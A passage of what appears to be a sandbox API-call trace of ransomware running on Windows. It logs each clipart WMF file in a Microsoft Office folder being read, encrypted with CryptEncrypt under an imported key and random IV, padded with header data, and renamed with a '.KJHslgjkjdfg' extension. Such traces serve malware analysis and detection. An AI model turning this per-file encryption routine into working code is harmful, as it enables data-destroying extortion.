CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.150] GetProcessHeap () returned 0x2ef0000 [0197.150] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.150] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.150] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.150] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.150] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.150] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.150] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.150] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.150] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.150] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.151] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x44e6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x44e6, lpOverlapped=0x0) returned 1 [0197.152] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x44f0, dwBufLen=0x44f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x44f0) returned 1 [0197.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.152] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x44f0, lpOverlapped=0x0) returned 1 [0197.152] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x45c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.152] SetEndOfFile (hFile=0x130) returned 1 [0197.155] GetProcessHeap () returned 0x2ef0000 [0197.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.155] GetProcessHeap () returned 0x2ef0000 [0197.155] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf.kjhslgjkjdfg")) returned 1 [0197.157] CloseHandle (hObject=0x130) returned 1 [0197.157] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0197.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.157] GetProcessHeap () returned 0x2ef0000 [0197.157] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.158] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.158] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0197.160] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.160] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.160] GetProcessHeap () returned 0x2ef0000 [0197.160] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.160] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.160] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.160] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.160] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.161] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.161] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.161] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.161] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.161] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd04, lpOverlapped=0x0) returned 1 [0197.161] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd10, dwBufLen=0xd10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd10) returned 1 [0197.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.161] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd10, lpOverlapped=0x0) returned 1 [0197.162] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.162] SetEndOfFile (hFile=0x130) returned 1 [0197.165] GetProcessHeap () returned 0x2ef0000 [0197.165] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.165] GetProcessHeap () returned 0x2ef0000 [0197.165] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.165] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.kjhslgjkjdfg")) returned 1 [0197.166] CloseHandle (hObject=0x130) returned 1 [0197.166] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0197.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.167] GetProcessHeap () returned 0x2ef0000 [0197.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.167] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.167] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.167] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.167] GetProcessHeap () returned 0x2ef0000 [0197.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.167] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.167] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.168] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.170] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.170] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.170] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.170] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.170] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.170] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.171] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b0, lpOverlapped=0x0) returned 1 [0197.171] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b0) returned 1 [0197.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.171] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5b0, lpOverlapped=0x0) returned 1 [0197.171] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.171] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.171] SetEndOfFile (hFile=0x130) returned 1 [0197.172] GetProcessHeap () returned 0x2ef0000 [0197.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.172] GetProcessHeap () returned 0x2ef0000 [0197.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.kjhslgjkjdfg")) returned 1 [0197.174] CloseHandle (hObject=0x130) returned 1 [0197.174] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0197.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.175] GetProcessHeap () returned 0x2ef0000 [0197.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.175] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.175] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0197.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.177] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.177] GetProcessHeap () returned 0x2ef0000 [0197.177] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.177] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.177] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.178] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.178] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.178] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0197.178] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0197.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0197.178] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0197.178] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.178] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.178] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14c2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14c2, lpOverlapped=0x0) returned 1 [0197.180] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14d0) returned 1 [0197.180] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.180] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14d0, lpOverlapped=0x0) returned 1 [0197.181] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.181] SetEndOfFile (hFile=0x130) returned 1 [0197.182] GetProcessHeap () returned 0x2ef0000 [0197.182] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0197.182] GetProcessHeap () returned 0x2ef0000 [0197.182] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0197.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.kjhslgjkjdfg")) returned 1 [0197.183] CloseHandle (hObject=0x130) returned 1 [0197.183] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0197.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.184] GetProcessHeap () returned 0x2ef0000 [0197.184] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0197.184] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0197.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0197.184] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0197.219] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0197.219] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0197.219] GetProcessHeap () returned 0x2ef0000 [0197.219] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0197.219] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0197.219] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0197.219] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0197.219] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0197.220] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, 